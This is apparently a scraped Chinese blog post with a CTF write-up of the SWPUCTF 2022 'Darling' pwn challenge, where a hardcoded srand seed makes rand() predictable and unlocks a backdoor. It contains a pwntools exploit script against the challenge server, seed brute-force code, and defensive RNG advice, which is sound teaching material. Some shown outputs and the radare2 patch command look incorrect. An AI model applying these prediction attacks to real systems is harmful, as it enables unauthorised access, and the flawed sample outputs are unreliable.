news 2026/4/27 17:55:37

CTF PWN入门:从‘伪随机数’漏洞到编写C语言模拟程序(SWPUCTF 2022 Darling详解)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF PWN入门:从‘伪随机数’漏洞到编写C语言模拟程序(SWPUCTF 2022 Darling详解)

CTF PWN实战:伪随机数漏洞的逆向分析与C语言模拟攻击

在CTF竞赛的PWN题型中,伪随机数预测类题目往往成为新手进阶路上的第一道"思维转换题"。这类题目表面看起来充满不确定性,实则暗藏确定性规律——这正是计算机中"伪随机"的本质特征。本文将以SWPUCTF 2022新生赛的Darling题目为例,带你从逆向分析到编写攻击模拟程序,完整掌握这类题目的破解之道。

1. 伪随机数的底层机制剖析

1.1 随机数生成器的运作原理

计算机中的随机数生成器(RNG)本质上都是伪随机数生成器(PRNG),它们通过确定性算法产生看似随机的数列。C语言标准库中的rand()函数就是典型实现:

// 简化的rand()实现原理 static unsigned long next = 1; int rand(void) { next = next * 1103515245 + 12345; return (unsigned int)(next/65536) % 32768; } void srand(unsigned int seed) { next = seed; }

关键点在于:

  • 种子决定序列srand()设置的种子初始化内部状态变量
  • 确定性变换:每个随机数都是前一个状态值的数学变换结果
  • 周期性问题:算法设计不当会导致序列重复出现

1.2 Darling题目的逆向分析

使用IDA反编译Darling程序,关键代码段显示:

v4[1] = 20020819; srand(0x1317E53u); // 固定种子 v5 = rand() % 100 - 64; __isoc99_scanf("%d", v4); if ( v5 == v4[0] ) backdoor();

漏洞特征非常明显:

  1. 硬编码种子值0x1317E53
  2. 随机数仅经过简单取模运算
  3. 无其他熵源引入

下表对比了安全与不安全的随机数使用方式:

特征不安全实现安全实践
种子来源硬编码固定值系统熵源(/dev/urandom)
随机化处理简单取模运算密码学安全算法
状态保护全局变量存储隔离的上下文
预测难度完全可预测计算不可行

2. 本地模拟攻击环境搭建

2.1 开发环境配置

推荐使用Linux环境进行PWN练习,基本工具链包括:

# 安装必要工具 sudo apt install gcc gdb python3 python3-pip -y pip install pwntools # 验证glibc版本 ldd --version | head -n1

2.2 模拟程序编写

创建darling_sim.c文件:

#include <stdio.h> #include <stdlib.h> int main() { srand(0x1317E53u); // 与目标程序相同的种子 int target = rand() % 100 - 64; printf("[+] 预测值: %d\n", target); // 自动化测试 for(int i=0; i<5; i++) { printf("测试%d: rand()=%d\n", i+1, rand()); } return 0; }

编译与运行:

gcc darling_sim.c -o darling_sim ./darling_sim

典型输出示例:

[+] 预测值: -21 测试1: rand()=1804289383 测试2: rand()=846930886 测试3: rand()=1681692777 测试4: rand()=1714636915 测试5: rand()=1957747793

2.3 跨平台一致性验证

不同平台/编译器可能实现不同的rand算法。验证方法:

# 对比Linux与Windows(WSL)输出 gcc -v # 确认编译器版本 ./darling_sim > linux_output.txt # 在Windows环境编译运行相同代码 gcc darling_sim.c -o darling_sim.exe ./darling_sim.exe > windows_output.txt diff linux_output.txt windows_output.txt

若输出不一致,需使用目标环境的libc版本进行交叉编译。

3. 完整漏洞利用链构建

3.1 自动化攻击脚本开发

使用Python的pwntools库编写攻击脚本:

from pwn import * import ctypes # 本地模拟libc的rand函数 libc = ctypes.CDLL("libc.so.6") libc.srand(0x1317E53) predicted = libc.rand() % 100 - 64 # 远程攻击 def exploit(): io = remote("node5.anna.nssctf.cn", 12345) io.sendlineafter(b"input:", str(predicted).encode()) io.interactive() # 本地测试验证 def test_local(): io = process("./darling") io.sendlineafter(b"input:", str(predicted).encode()) print(io.recvall()) if __name__ == "__main__": test_local() # 先本地测试 exploit() # 再远程攻击

3.2 防御措施绕过技巧

现代CTF题目可能会增加防护措施,常见应对方法:

  1. 多阶段随机数

    • 记录前几个随机数输出
    • 验证预测序列的连续性
  2. 种子混淆

    • 通过逆向分析种子计算逻辑
    • 使用angr等符号执行工具求解
  3. 时间熵混合

    • 确定时间变量的影响范围
    • 爆破可预测的时间窗口
# 多阶段随机数预测示例 def predict_sequence(seed, count): libc.srand(seed) return [libc.rand() for _ in range(count)] # 与目标程序输出对比 actual = [get_actual_rand() for _ in range(3)] for possible_seed in range(0, 0xFFFF): if predict_sequence(possible_seed, 3)[:3] == actual: print(f"Found seed: {hex(possible_seed)}") break

4. 进阶:从漏洞利用到二进制补丁

4.1 二进制补丁技术

理解漏洞后,我们可以修改二进制程序修复漏洞:

# 使用radare2修改种子值为时间戳 r2 -w ./darling [0x00401000]> s sym.srand [0x00401120]> "wa mov edi, time" [0x00401120]> pdf

关键修改点:

  1. 将固定种子替换为time(NULL)
  2. 增加随机数生成复杂度
  3. 添加输入验证逻辑

4.2 防护方案设计

安全的随机数使用应遵循:

  1. 种子源选择

    // Linux安全种子获取 unsigned int seed; FILE* urandom = fopen("/dev/urandom", "r"); fread(&seed, sizeof(seed), 1, urandom); fclose(urandom); srand(seed);
  2. 随机数强化

    • 使用加密安全函数(如arc4random)
    • 增加哈希混淆层
  3. 防御性编程

    • 限制猜测次数
    • 实施速率限制
    • 关键操作二次验证
// 增强版随机数生成 int secure_rand(int min, int max) { unsigned int seed; arc4random_buf(&seed, sizeof(seed)); srand(seed); return min + (arc4random_uniform(max - min + 1)); }

在CTF竞赛中,理解伪随机数漏洞的本质不仅是为了解题,更是培养安全思维的重要训练。当你能准确预测"随机"结果时,就真正掌握了计算机确定性与安全性之间的微妙关系。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/27 17:49:23

暗黑2存档编辑终极指南:5分钟打造你的完美角色

暗黑2存档编辑终极指南&#xff1a;5分钟打造你的完美角色 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 还在为暗黑破坏神2的刷装备、练级过程感到疲惫吗&#xff1f;想要快速体验游戏的全部内容&#xff0c;却不想花费数百小…

作者头像 李华
网站建设 2026/4/27 17:48:58

Claude Code 完全重装与接入 DeepSeek 指南

从卸载清理到接入全新模型&#xff0c;一篇搞定 如果你在使用 Claude Code 时遇到了莫名其妙的 bug&#xff0c;或者想要尝试更强大的模型&#xff08;比如 DeepSeek&#xff09;&#xff0c;彻底重装并接入新模型是一个不错的选择。本文将带你一步步完成&#xff1a; 完全卸载…

作者头像 李华
网站建设 2026/4/27 17:48:15

代码灭绝事件:当AI吞噬测试脚本,测试工程师的生存边界与价值重塑

一场静默的“灭绝”在软件测试行业内部&#xff0c;一场远比普通技术迭代更深刻、更静默的变革正在发生。我们暂且称之为“代码灭绝事件”。这不是指编程语言或框架的消亡&#xff0c;而是指以传统手工编写、维护自动化测试脚本为核心的工作模式&#xff0c;正面临结构性瓦解的…

作者头像 李华